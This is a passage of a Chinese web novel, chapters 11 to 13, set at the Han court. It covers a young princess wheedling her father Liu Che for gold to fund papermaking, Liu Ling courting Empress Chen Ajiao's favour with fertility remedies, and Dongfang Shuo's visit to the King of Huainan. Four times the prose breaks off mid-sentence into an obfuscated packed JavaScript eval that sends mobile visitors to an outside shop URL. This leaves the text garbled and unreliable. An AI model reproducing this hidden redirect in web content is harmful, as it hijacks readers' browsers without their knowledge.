曹襄看了看淮南王,小嘴都能挂油壶了,“阿瑶,淮南王是老,不是大!和他比,他欺负人。” “……”刘瑶和他大眼瞪小眼,默默扭头,不得不说,曹襄这话说的对。 被小辈突然点到,还是如此小的孩子,淮南王微微瞪眼。 他在淮南,无论是境内的官吏、幕僚还是自己的儿女子孙,都未曾这样大胆说过他。 他怀疑往日是不是得罪陛下了,两人一唱一和,听着有些刺耳。 听到这话,太皇太后搂着两人笑的前仰后合,大手抚拍着两小只的小身板,“你们啊!你们啊!我搞不懂像谁了。” 估计现下淮南王有些尴尬吧,若是和个孩子计较,真是活到狗身上了。 皇太后等人也跟着一起笑了。 平阳长公主笑道;“我说这些日子阿狙吃肉少了些,猛吃蔬果, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694988|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来是怕被阿瑶嫌弃啊!” 曹襄见状,一把抱住太皇太后的胳膊,郁闷道:“太皇太后,阿狙真的很胖吗?” “……呃。”太皇太后闻言,用满是皱纹的大手摸了摸他的个头和体型,着实不好安慰孩子。 她也是养育过三个子女的母亲,自家这个曾外孙今年才五岁,可是感觉身板就是七岁的孩子也顶不住,最后只得慈和一笑,“小孩子长得快,不用太过在意,多跑跑就能瘦下来。” 平阳长公主:“我与曹寿也是这样觉得,果然如太皇太后所说,很快就瘦了一圈。” 瘦了一圈? 刘瑶仰头看了看身边的小伙伴,看着个头似乎高了些,现在看着有点瘦,估摸着是因为到了夏日,穿的薄些,若是到了冬日,那可真是化身小胖熊了。 “……”太皇太后没想到现在的体型还是减重过后的,怪不得被阿瑶惦记。 刘陵掩唇轻笑道:“看来妾身要早日成亲生子,否则连话题都插不进去。” 皇太后含笑道:“看你这性子,若是传出去,怕是要吓走不少郎君。” “皇太后!”刘陵偏头娇声,面色羞捻。 淮南王指着她,无奈道:“她被我宠坏了,一向胆大,刚刚说的那么没顾忌,现在知道害羞了。” 太皇太后又高声笑了笑,大概情绪波动太大,不小心咳嗽起来,侍女连忙上前帮她拍背。 皇太后捧着温水,“太皇太后,喝点水。” 陈阿娇与馆陶长公主也上前查看。 刘陵收起笑容,余光瞥向跟在后方默不作声、同样面色焦急的卫子夫。 不骄不躁,是个难缠的对手,听说此人又有了身孕,不知道陈阿娇现在是什么想法。 等太皇太后缓过神,摆摆手,“都围成一团做什么,要热死我吗?” 曹襄一听,鼓起腮帮使劲吹风。 刘瑶见状,跟着一起甩着袖子给她扇风。 众人看着两个小家伙努力的样子,心中发软,又经不住发笑。 太皇太后感受到面庞两道微风,心中一股暖流,摸着两人的小肩膀,“好了,好了,你们这点小力气还不够添乱呢。” 曹襄吹的脸颊通孔,刘瑶也扇的气喘吁吁,听到这话,一左一右瘫坐在地板上,正好依偎在太皇太后腿边,小孩的身体又软温度又高,让人压根忽视不了,微烫的体温透过薄衫仿佛一直蔓延到心口,即使太皇太后看不见,也能想象出两个小家伙可爱的模样。 平阳长公主招手示意曹襄过去,曹襄只顾着揉脸颊,压根没看到。 平阳长公主:…… 陈阿娇看着太皇太后身边其乐融融的一幕,贝齿都快将唇瓣咬出血了,不过在外人面前,还是勉强扬起笑容,只是眼睫颤动间,能看到眸中隐藏的嫉妒和失落。 她若是有了自己的孩子,肯定比卫子夫的女儿更加乖巧漂亮。 刘陵斜瞥到陈阿娇面上一闪而过的不甘,唇角扬起一抹几不可查的戏谑弧度。 她就说嘛! 以陈阿娇的脾气,怎么可能不在乎。 越是在乎,她才能越好出手。 11. 第 11 章 刘瑶在太皇太后那边刷满好感度后,想起向刘彻讨钱的事情,回到昭阳殿后,雄赳赳、气昂昂地来到未央宫。 正巧刘彻在休息,见到她气势汹汹过来,有些纳闷,“ 谁惹到朕的小公主了!” “……”刘瑶愣了一下,反应过来自己态度不对,又不是来算账的,是来要钱的。 想明白后,她换上一脸甜笑,上前一把抱住刘彻的大腿,“阿父,给我点金子吧!” 刘彻听到这话,眉梢高挑,“金子,你小小年纪要这些做什么?” “先给钱再说。”刘瑶知道汉武帝可大方了,赏人金子都是千金、万金,上次小胖崽只是帮他搬了一些竹简,就得了百金。 刘彻也好商量,将人抱起来,“你要多少?” “嗯……先要一千金!”刘瑶当即伸出一根手指。 “哦——一千金。”刘彻点了点头,张嘴就要去咬她的手指。 “……”刘瑶一头黑线,下意识躲开,将手藏在身后,瘪着嘴看着他,气呼呼道:“干嘛?” “干嘛?”刘彻似笑非笑道:“阿瑶,你张嘴就要一千金,是不是觉得朕好欺负。” 而且听她的语气,以后还要继续要。 小小年纪,胃口可真大。 刘瑶嘿嘿一笑,搂住他的脖颈,撒娇道:“阿父,因为我没钱啊。” “你要钱干什么?”刘彻想不出刘瑶能花钱的地方,再说他也没看出小家伙是个财迷啊! “嗯。”刘瑶眼珠子转了转,好奇道:“阿父,你和东方朔弄好柳纸没有?” “……”刘彻狭长的眼角微微下压。 他倒没有忘记这事,那日刘瑶走后,就命人研究了,只不过现在没消息。 看他的样子,刘瑶就猜出结果,她使劲晃了晃对方的脖子,“你们干不成,我找了一个能干的人,快给钱。” “何人?”刘彻好奇道。 小家伙这般理直气壮,他倒要看看她找了哪位大才。 刘瑶:“阿母的姐姐,她知道怎么造麻纸。你不想干,有的是人干!” “……”刘彻听得眼皮一跳,阿瑶这话说的让人不甚舒坦,说得好像这事是什么大事似的,就算制成了柳纸,估计效果如麻纸一样,不能用于书写。 “那好吧,既然这样,朕也就不用头疼了,你告诉对方,若是真做出成绩,朕必有厚赏。”刘彻抱着她坐下,从腰侧的荷包中掏出一枚果脯塞给她。 刘瑶小手捏着,一边吃,一边说道:“一千金别忘了。” 刘彻无奈,“阿瑶,你可知一千金有多少?” “阿父有钱!”刘瑶一脸真诚道,“阿父大方!” 说完,将手上的口水往他袍子上擦了擦,给了自家亲爹一个大拇指,“阿父最好!” 刘彻被她一阵吹捧,有些苦笑不得,接过中常侍的帕子给她擦了擦唇和手,点了点她的鼻尖,“小机灵!” 既然她这样说了,子夫现下又有了身孕,卫家人也要厚赏,正好趁此机会给了。 刘瑶吃完果脯,就着刘彻的手,喝了半碗温水润了润有些发腻的嗓子。 等她喝完,刘彻随口问道,“听说你们今日去长乐宫了。” “嗯,见了一个淮南王。”刘瑶从他身上下来,攀着御案,小手扣着上面层层叠叠的竹简。 刘彻了然,佯装神秘道:“那你了解淮南王吗?” 刘瑶白了他一眼, “菽乳!” 对于淮南王,她就知道两件事,一个是豆腐,一个是谋反,沧海桑田,后世多数知道他发明了豆腐,不知道此人谋反篡位、不得善终。 她是搞不懂,一个日常喜欢求仙问道的诸侯王怎么会有那么重的权力欲,不应该清心寡欲吗? 想起汉武帝老了以后,也喜欢追求长生不老。 刘瑶不禁反思,难道是老刘家的遗传? “你居然知道?也对,你这个小馋猫肯定好奇。”刘彻一想就明白了。 刘瑶看着他自问自答,替自己自圆其说,不由得再次冲他竖起大拇指,“阿父英明!” 刘彻不由得笑了。 刘瑶对桌上的竹简没兴趣,她有些好奇地看着桌角的砚台和笔架,忽而注意到砚台一脚压着一块暗灰色东西,她踮脚伸长手扯了扯。 中常侍细声道:“长公主,您要什么,奴婢帮您拿!” 说话时,刘瑶已经将东西掏了出来,反复看了看,小手摸了摸,不像锦缎、也不像土块,总觉得有些熟悉。 刘彻见她一副迷惑的模样,顿时无语道:“你连自己做的东西都不认得了?” “我做的?”刘瑶再次看了看。 这还没有化成灰,她居然不认识了。 原来是她做的纸片。 她将东西凑到鼻端嗅了嗅,闻到淡淡的墨香,顿时对刘彻的观感好了不少,“是我做的。” “阿父,一千金要快点给哦!”她没忘记提醒这个。 刘彻摸了摸她的脑袋,“简直是来讨债的。 ” 刘瑶闻言,眨了眨水汪汪的大眼睛,冲着他甜笑,不过看在刘彻这般大方,她还是提醒道,“阿父,我觉得淮南王看上你了,你要护好咱家的金子,给我留点。” “……”刘彻笑容微滞,对上小孩清澈的眼神,眸光泛起些许波澜,轻声哄道,“阿瑶,淮南王父女是不是说了什么不好听的话?” “嗯……不知道。我和老头不熟,不过阿父金子那么多,我都惦记,别人肯定也惦记,我年纪小,要的不多,别人将金子要完了怎么办。”刘瑶将他的大掌拨拉掉。 亲爹啊!现下太皇太后眼看着病情一天天加重,在她这个年纪的老人,马上又到寒冬,每一天都是坎。 刘瑶对于太皇太后何时病逝时间没有确切记忆,不过知道太皇太后走后,皇太后又要沿着她的步子再干涉几年,她爹要雄起,还要再熬一段时间。 现在淮南王父女进京,估 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694989|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计私底下的小心思见不得人。 刘彻嘴角微微抽搐,“年龄不大,操心不少。” 刘瑶晃了晃小脑袋,“彼此,彼此!” “……”刘彻眉心一跳,故作凶相地抬起大手,“彼此,彼此?” 阿瑶这个口头禅什么时候才能改一下,总是冷不丁出来。 他与她能一个样吗? 刘瑶小胳膊一扬,小手包住他的胳膊,脸颊的每一寸奶膘都透着哀怨,“阿父,打小孩长不高。” 刘彻淡然道:“朕对现在的个头很满意。” 刘瑶斜了他一眼,“那我长不高呢!真是对我幼小心灵的大大伤害!我要告诉太皇太后!” “倒学会告状了。 ”刘彻更加无奈,放下手,顺便捏了捏她的脸颊,软嫩的触感,让他心情颇美,“好吧,朕承认被你吓到了。” “嘿嘿!”刘瑶扭着身子,示意亲爹快将她放开。 刘彻刚将人放到地上,刘瑶一溜烟跑出八丈远,距离宫殿门口一步之遥。 “……你跑那么远干什么?”刘彻感觉自己刚才还算是个慈父。 刘瑶闻言,小步子往前挪了一步,扬脸甜笑,“一千金别忘了,阿瑶不打扰阿父挣钱了!” 说完,不待刘彻说话,转身爬过门槛,头也不回走了。 随行的宫女连忙跟上。 “跑的真是越来越快了。”刘彻失笑道。 中常侍同样语带笑意,“长公主每天都在长大。” 刘彻负手听着外面的动静,确定刘瑶真的离开未央宫,不会冷不丁杀个回马枪,这才幽幽叹气,“莫雨,你去长乐宫打听一下,淮南王父女是否欺负了阿瑶。” 莫雨躬身道:“喏!” 刘彻:“你说,刚刚阿瑶说的那话什么意思?” “?”莫雨一头问号,刚刚长公主与陛下扯的话可多了,除了要钱的事情……他锁眉想了想,最终觉得还是那句“淮南王看上”嫌疑最大。 “淮南王此时来到长安,确实要查一下。”莫雨恭敬道,他不好将话说的太满,又说了一个猜测,“奴婢听说淮南王想要给刘陵翁主选婿,说不定也有这层意思。” 淮南王惯会说话,说不定夸了陛下两句,被长公主听到,当真了。 刘彻:…… 他对刘陵没想法。 莫雨想了想,担心自己将话说的太满,毕竟大汉朝手底下的诸侯国没一个省心的,淮南王祖上还有造反的前科,“也许长公主听岔了,听说了之前淮南王的事情。” “哦!”刘彻眼神顿时一凛,他也想过这种可能,就看刘安此次进京到底要做什么了。 莫雨见状,躬身没再说话。 不知过了多久,就听头顶传来声音,“你去库房取一千金,明日派人给卫家人送过去,据实已告,让他们领阿瑶的情。” 若是真让卫家人研究出东西,他厚赏他们更加理所应当。 “喏!”莫雨恭敬道。 12. 第 12 章 长乐宫那边,太皇太后精神不济,在刘瑶他们离开后,淮南王与刘陵也离开了,馆陶大长公主服侍太皇太后休息后,与陈阿娇回到椒房殿。 前脚才进殿门,后脚陈阿娇就抱着馆陶大长公主哭了起来,“阿母!” “谁欺负我们皇后了!”馆陶大长公主环抱住她,给贴身侍女使了眼色,对方挥手示意殿内的宫女与内侍离开。 殿内宫人躬身有序离开,宫门暂时关上,遮蔽了斜射进的阳光,心中被压抑的晦暗也终于能释放出来。 “阿母!”陈阿娇哭的梨花带雨,哭声哽在喉咙,“阿母,我这个皇后是不是做的很没用。” “谁说的?”馆陶大长公主神色顿时一冷,目光落到女儿哭红的眼眶,眼神一软,“这个皇后注定就是你的……说句大逆不道的话,当年皇帝都没有你地位稳固!” 当年皇太后和刘彻与阿娇许下“金屋藏娇”的盟约,她才帮他们的,现在太皇太后还在,皇帝居然敢怠慢阿娇。 馆陶大长公主越想越气。 陈阿娇低声哭诉道:“可是老天爷为什么不给我和陛下一个孩子,无论男女,我只想要个孩子。” 眼看着卫子夫又有了身孕,可她还是毫无动静。 馆陶大长公主轻轻抚着她的背,心疼道:“不怪你……不怪你,只是缘分未到,等一下我劝劝陛下,不怪你……不怪你。” “阿母!”陈阿娇听着这些话,泪水更加控制不住,心中蓄满了无尽的愧疚和委屈,仿佛要将她淹没,她与陛下成亲那么多年,贵为大汉国母,现下像个小孩向母亲哭诉,传出去后,怕是要被长安不少人笑话。 馆陶大长公主轻轻将她揽在怀里,如同幼年,轻轻拍着她的背,低声道:“你莫要担心,陛下是个聪明人,我还在,太皇太后还在,而且你们都还年轻。” 陈阿娇:“可是卫子夫又要生了。她都要有两个孩子了,我一个都没有。” “没事,没事!有阿母呢,改日我再替你寻些法子。”馆陶大长公主垂眸掩住眼中的冷意。 她心中暗自后悔当年没在卫子夫进宫之初,将人处理了,当年没有下死手将卫青他们给处理了,让他们成长起来,就算当年她亲手将卫青杀了,陛下也顶多也就是说她几句。 可现在卫青成了太中大夫,颇受陛下信任。 陛下对她防备的紧,已经不好动手了,而且太皇太后现下已处于风烛残年,太医说了,撑不了一两年,她不能太过任性。 馆陶大长公主深吸一口气,继续温声安抚,“莫怕,莫怕!” 陈阿娇依偎在馆陶大长公主怀里,哭了一阵,将这些日子内心的苦闷都倾诉出来后,觉得心情好多了。 躺在母亲的怀里,看着自己身处的宫殿,处处可见奢华,曾经这座椒房殿是她的底气,可是现在总觉得这座宫殿好大、好空。 就在她正欲开口之际,忽而宫门外传来内侍尖细的声音,“启禀皇后、馆陶大长公主,刘陵翁主求见!” 好不容易调节好心情,陈阿娇骤然被打扰,娇容一冷,没好气道:“她来干什么?我与她不熟!” 馆陶大长公主给她梳理了一下有些杂乱的青丝,“刘陵此人看着颇有心计,来寻你,肯定有目的。” 陈阿娇蹙眉,“阿母的意思,是她对我有所求?” 想到此,她脸色更差了,“难道她想进宫?” 馆陶大长公主见她又要恼起来,无奈地点了点她的眉心,“你这个脾气什么时候能改一下,她也是大汉的翁主,肯定不会进宫。” 虽然与陛下的血脉联系可能远了些,也是姓刘,怎么可能进宫。 陈阿娇松了一口气,毕竟她瞅着刘陵就不是好惹的人,肯定没有卫子夫那么安分,而且又有淮南王撑腰。 她不解道;“那她来寻我干什么?” 馆陶大长公主起身,理了理裾袍,幽幽叹了一口气,“怕是冲着我来的。” 陈阿娇顿时心头一紧,握住了她的手,“阿母!” 刘陵身后是淮南王,阿母身后是太皇太后、是堂邑侯府,对方乃藩王之女,此时接触他们,若是没有猫腻,她是万万不信的。 馆陶大长公主见状,傲然道:“与她见面也行,正好也让陛下看看,我这个大长公主还是有人惦记的。” “阿母!”陈阿娇有些急了。 “担心什么,难道你还怕我帮助外人造自家女婿的反?”馆陶大长公主无奈道,“大家都是各取所需,用不着对这些人防备太多。” 她高声道:“请她进来!” 殿外候着的内侍闻言,笑着看向刘陵,“翁主,大长公主和皇后允了! ” 刘陵点了点头。 椒房殿的宫门打开,发出沉重的吱呀声,凉风随着她一起蹿入殿中,晶莹剔透的珠帘随风摇摆,在微光的折射下,发出柔光。 她打量着这座耳闻已久的椒房殿,眸中露出惊艳。 陛下对陈阿娇真是下了大手笔,怪不得能让对方死心塌地。 陈阿娇对她的表情很是受用。 刘陵向馆陶大长公主、陈阿娇行礼,“参见大长公主、皇后!” 陈阿娇淡淡道:“翁主免礼。” 等刘陵落座,陈阿娇直截了当问道:“刘陵,你来本宫这里,有何用意?” “皇后知晓淮南距离长安较远,父王又沉迷求仙问道,所以想要皇后与大长公主日后在父王危难时,替他美言两句。”刘陵示意身后的侍女将准备好的厚礼奉上。 陈阿娇目露几丝怀疑,仍然有些不信。 对于这些诸侯王国,个个都不服管,虽说天下传言淮南王刘安不问世事,一心求仙问道。 可是她还听说了,淮南王礼贤下士,供养了不少幕僚…… 馆陶大长公主搭眼扫了一眼,冷嗤一声,“刘陵,我听说淮南国富,你只送了这些,是在打发乞丐吗?” 她身为大长公主纵横朝野多年,享用的财宝和富贵数不胜数,这点东西居然也敢端到她面前。 陈阿娇见状,瞥了瞥自家母亲,也不吭声。 刘陵则是淡定一笑,“大长公主误会了,这些只是我的心意,与父王无关,明日我再送上厚礼,今日前来冒犯,是刚才在长乐宫时,我不小心瞥到皇后的神伤,美人黯然,自是惹人心疼。” 陈阿娇没想到此人居然是来找她的,顿时面色有些戒备,“你到底想说什么?” 刘陵娇媚一笑,“皇后莫急。你听我说。大长公主、皇后,你们知道父王平日最喜欢求仙问道,擅长炼制丹药,收集民间奇方,对于求子之法,也有涉猎,不知道皇后可需要?” “!”陈阿娇顿时坐直了身子,看向馆陶大长公主。 若是刘陵真的能拿出让她怀孕的法子,她不仅不要这些厚礼,还反赠给她万金。 馆陶大长公主笑容顿收,目光冷幽幽的,“刘陵,你是将我与阿娇当三岁小孩子哄吗?我怎么不知道淮南王何时练就了这种仙法。” 刘陵淡定道:“此乃秘法,自然不传民间,大长公主若是不信,可以询问父王。” “阿母!”陈阿娇语带一丝祈求。 对于淮南王,她还是有几分信服的,此人炼丹研究出了如同白玉一般的菽乳,而且养了数千名方士,比起其他人,肯定有成果。 馆陶大长公主扬手示意她噤声,冷眸斜瞥,“今日不早了,你先回去吧。” 刘陵愣住,连忙道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694990|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大长公主,我是真心想帮皇后。” “哼!嘴里没一句实话。”馆陶大长公主起身,缓缓走到她面前,“你刚才那句话最假。阿娇身子好着呢,不需要这些。来人,送她离开。” 刘陵:…… 陈阿娇有些急了,但是不敢违拗馆陶大长公主,只能看着她离开。 等刘陵离开,陈阿娇噘着嘴,气呼呼地背对着馆陶大长公主。 “你这孩子,是你的东西跑不了,你现在是皇后,拿出皇后的架子来,你要记住,是淮南王有事求我们,不是我们求他们。”馆陶大长公主语重心长道。 陈阿娇:“她如果放弃了怎么办?” “以刘陵的性子,你觉得她会放弃吗?”馆陶大长公主噙笑道。 陈阿娇想了想,“不会。不过此事如果陛下知道了,会不会埋怨我啊!” “你担心什么,天塌下来,有我顶着。”馆陶大长公主摸了摸她的头,目露感伤,“太皇太后身子越发不济,若是能在她离开之前,看到你与陛下有了孩子,她肯定会高兴。” 若是诞下皇子,她与太皇太后一定会让陛下立其为太子。 前提是刘陵所说的是真的。 “好吧,一切都听阿母的。”陈阿娇再次依偎到她身旁。 馆陶大长公主目露欣慰,女儿虽然娇蛮一些,不过还是能听进去她的话。 是个好孩子! …… 次日,刘彻就让小黄门给卫家人送去了一千金。 卫媪将小黄门请进正厅,有些疑惑,“内臣,陛下为何又送了这么多金子?” 小黄门也不卖关子,“这是长公主向陛下替卫夫人的姐姐要的,请问哪位是卫少儿?” 卫长君、卫君孺等人看向卫少儿,霍去病也仰头看着她,“阿母!” 卫少儿走出来,向小黄门行了一个宫礼,“我是卫少儿,内臣唤我有何事?” 小黄门笑道:“长公主与陛下听闻你在研究新式造纸术,所以让奴婢给你送了一些金子。” 卫少儿看着小黄门地上箱子中的金子,惊诧道:“这也太多了!” 她现在要重新估量自己研究的柳纸了。 “这些也是陛下对卫家的心意。”小黄门继续解释道。 卫媪等人连声道谢。 …… 等小黄门离开,众人再次齐聚正厅。 卫长君担忧道:“如果二妹做不出来,陛下那边如何交代。” 卫媪一听,也是面色担忧。 卫少儿倒是轻松,轻笑道:“现下我花费不了这么多,陛下这般大方,多半是赏给咱们卫家的,不必担心。” 卫媪面色微缓,叹气道:“子夫又有了身孕,现下阿瑶年岁还小,在宫里也没有其他人照看,我着实担心。” 还好,现下宫中就阿瑶一个公主,陛下疼她跟眼珠子似的,让她宽慰了不少。 卫君孺安慰道:“阿母莫要担心,子夫一向稳重。” 霍去病看着箱子里的金子,扯了扯卫少儿的袖子,期期艾艾道:“阿母,你现在有了这么多金子,可以把我的金子还给我了吗?” 众人:…… 卫少儿冲着自家儿子温柔一笑,在对方的期待中,素手扯住他的耳朵,轻飘飘道:“霍去病,你再说一遍!” 轻柔的声音如淬冰一般,霍去病浑身一激灵,想要反抗,可是担心换来自己更惨的下场。 “!”霍去病下意识摇头,“我不要了,金子先给阿母!我以后的金子也给阿母!” 阿母笑的好吓人,比鬼还吓人。 “……”卫少儿无语凝噎。 儿子小小年纪,这没脸没皮的状态跟谁学的。 13. 第 13 章 霍去病虽然有些怵卫少儿这样子,不过想着他阿母有了那么多金子,还是有些不甘心,再次一把抱住卫少儿的手,提前护住自己的耳朵,讨好道:“阿母,我也可以帮你一起干。” 卫少儿扬了扬眉梢,“不要钱?” “……不要你的金子,我的金子……嘿嘿!”小孩一脸谄媚地看着他,眸中满是期待,看着机灵极了。 看戏的卫媪、卫君孺等人纷纷忍笑,看着母子俩玩闹。 卫少儿捏着他耳朵的力道加重,“你要那么多金子干什么?” 霍去病吸气,奶声奶气道:“阿母轻点,轻点,我就是想买点东西送给公主妹妹。” 前段时间听舅父说,再过一段时间就是公主妹妹的生辰,他也要给她准备礼物。 卫少儿一听,眸光诧异,手上一松,霍去病连忙从她手底下蹿了出来,一把抱住卫媪。 卫媪摸了摸他的小脑袋,欣慰道:“去病真是懂事了,知道挂念着阿瑶。” 小家伙仰头认真道:“阿瑶对我好,对阿母好,我也要对阿瑶好。” “说得对!”卫媪更加开心了。 她前半辈子过得虽然苦了些,还好一群儿女都活了下来,大家互相帮助,子夫有了孩子后,更是让他们家摆脱了奴籍,平步青云,她此生只求一家人平平安安,尤其子夫与她的孩子,身处宫中,又没有人帮衬,更加困难。 卫长君:“二妹,如果需要帮忙,你尽管提。我认识一些工匠,如果你需要什么工具,可以画出来,我帮你找人做出来。” 卫君孺眉心微微蹙起,“前段时间我去给东方先生送酒,他喝上头时,透漏出也在研究怎么造纸。” 她去年开了一个酒坊,因为酿酒手艺好,加上子夫的缘故,许多人前来光顾。 卫媪不解,“哪个东方先生?” 卫君孺:“东方朔,陛下身边的常侍郎,口才很好,不过有时候那张嘴也气人,真想撕碎了它。” 说到最后,颇有些咬牙切齿的味道。 众人:…… 卫君孺性子柔和,不轻易与人争口舌,平日与人为善,能惹到她,无法想象对方说了什么。 东方朔他们在长安也听说过,对方是陛下身边的近臣,幽默风趣,才华出众,说话很有意思。 不过见卫君孺对东方朔评价也不算太差,估计东方朔说了什么让卫君孺敏感的话刺激她了。 卫长君闻言,神色轻松,“你们不用担心,东方先生就是随便折腾一下,他对这些没兴趣。” 长安城不大,他也见过东方朔几面,此人学识渊博,什么都有涉猎,除了学问,对于其他事也就随性而为。 卫少儿见家人如此担忧,心中暖烘烘的,“你们不必担心,他研究他的,我研究我的,做学问、写词赋虽然比不上他,但是在其他方面,我不一定输给他。” …… 为了确定此事,卫君孺趁给东方朔送酒的时间,询问了一下关于造纸的事情。 东方朔握着粗陶酒壶,靠坐在凉席上,裾袍半敞,露出胸膛的些许肌理,“造纸?不行的。” 他饮下一口酒,摇头道;“我研究了一下,工艺繁琐,成品差,若不是陛下要哄你们家公主,我也不会得到这个活计。” 卫君孺见状,偏头翻了一个白眼,说的好似委屈他似的。 东方朔见她不赞成,将酒壶剩余的酒一饮而尽,然后歪歪斜斜起身,“你觉得我说的不对,你不懂,我学富五车,有凌云之志,经常出入皇宫……” 卫君孺就听他天南海北地将自己夸了一通,顺便骂了一些他不怎么看上眼的家伙,不过除了这些废话,他还说了许多麻纸相关。 卫君孺心中点了点头,虽然这人恃才傲物了些,但是人家是有真本事。 最后卫君孺与东方朔的家仆一起将他扶到内间休息,少算了他两成酒钱,就算是刚才的学费。 傍晚时分,家仆将东方朔叫醒。 东方朔捶了捶有些涨疼的脑袋,随口问道:“什么事?” 家仆:“淮南王派人来请先生赴宴!” 听说淮南王在淮南国时,喜好道术,最喜欢结交各种术士和名士,经常大摆宴席,没想到到了长安还是这样子。 东方朔饮了一杯水,挑了挑眉,“他请我干什么?” 他虽然对自己的才华很自信,但是对自己的身份还算是有自知之明,长安城中达官显贵那么多,他一个小小的常侍郎压根不够看。 家仆闻言,想了想,“也许听说了主人的大名。” 东方朔当即一甩袖子,冷嗤道:“我就怕淮南王将我当俳优使唤了。” 哄陛下他心甘情愿,但是一个地方诸侯王休想。 家仆见东方朔没有意愿去,担心他得罪淮南王,正忧愁时,脑海中忽而想到另外一种可能性,“主人,我听说淮南王有意为他的翁主招婿,说不定此次就是为了这个,想必宴会上一定有美酒。” 东方朔闻言,大手捏了捏胡子,狭长的眸子微微眯起,“你觉得淮南王看上我了?他眼睛没出问题吧。” 家仆:…… 他觉得是自家主人耳朵有毛病了,他刚刚明明重点在宴席上的美酒佳肴。 而且他家主人平日行为举止可谓是放浪形骸,有众多红颜知己,以淮南王女儿的眼光应该不会选他家主人吧。 东方朔眸光一转,当即起身,“给我寻一套干净的衣裳,咱们去淮南王那里吃酒去。” “喏!”家仆见他应下,神情一松。 …… 次日,东方朔进宫见刘彻,正好碰上刘瑶也在。 刘瑶向他挥了挥小手,“东方先生!” 东方朔笑着拱手,“长公主!” 刘彻上下打量他,问道:“朕昨日傍晚派人去找你,听说你去淮南王那里去了?” 东方朔对于刘彻知道这些也不惊讶,身为帝王对于诸侯王肯定时刻关注。 “微臣受邀赴宴,顺便看看淮南王看不看得上我这个女婿。”东方朔轻松道。 “啊?”刘彻没反应,刘瑶先表示了惊讶,“东方先生,你这么大年纪了,还没有嫁出去吗?” 东方朔面相看着怎么也有三四十岁了,虽然身材看着挺拔,有股儒雅气质,可也要正视年龄问题。 人家刘陵一个二八少女,这人还想着老牛吃嫩草。 啧啧……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694991|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 东方朔眼皮微跳,垂眸无奈地看着小脸带着震惊的刘瑶,“长公主,微臣是未婚!男子不言嫁,是娶。” 刘瑶小脑袋瓜敷衍地点了点头,“都一样,东方先生,你还没说你怎么没嫁出去?” “哈哈哈!”刘彻见一向言辞敏捷的东方朔语塞的模样,不由得大乐。 东方朔心中微叹,耐心解释道:“微臣觉得娶妻生子这事随缘即可,再者微臣暂时不想被家业束缚。” “……那你去找淮南王,现在是有了嫁的念头吗?”刘瑶一脸无辜地看着他。 刘彻有心看戏,俯身将刘瑶抱了起来,让小家伙不用累着脖子。 “长公主,是娶,不是嫁。”东方朔嘴角狠抽,再次郑重提醒道。 看着乖巧坐在帝王怀里的刘瑶,他着实一句重话都不敢说啊。 “哦,你说娶就娶吧,”刘瑶一副“好了好了,我包容你的胡闹”的样子。 东方朔:…… 刘瑶则是再次出击,“东方先生,淮南王看上你了吗?要不要阿父帮你。” 东方朔压抑着翻白眼的冲动,僵笑道:“长公主不必这么热情,我年纪大,觉得配不上淮南王的翁主。” 刘瑶:“好吧,等到你想娶的时候,我让阿父一定帮你。” 淮南王后面要造反,还是不要坑东方朔了。 刘彻见他们说完了,见她放下,“朕与东方朔还有事情要谈,阿瑶去其他地方玩吧。” 刘瑶见状,想了想,“那我替阿父去看太皇太后。” 现在太皇太后身体不好,虽然她不清楚对方崩逝的具体时间,估摸着也差不多到时候。 不管如何,她还是挺敬佩这位四朝老人。 刘彻见她要去看太皇太后,用缯帛给太皇太后写了一些关切之言。 刘瑶接过缯帛,看了一遍,只能辨认两三个字,不过大致意思可以猜出来,无非就是关心太皇太后身体,吃没吃饭,睡没睡好。 刘彻见她看的认真,促狭道:“会认吗?” 刘瑶斜了他一眼, “又不是写给我的,我认识它干什么。” “……”刘彻大手拍了拍她的脑袋,无奈道:“你这孩子。” …… 等刘瑶离开,刘彻转身,笑问东方朔,“东方朔,你昨日既然去见了淮南王,你觉得他怎么样?” 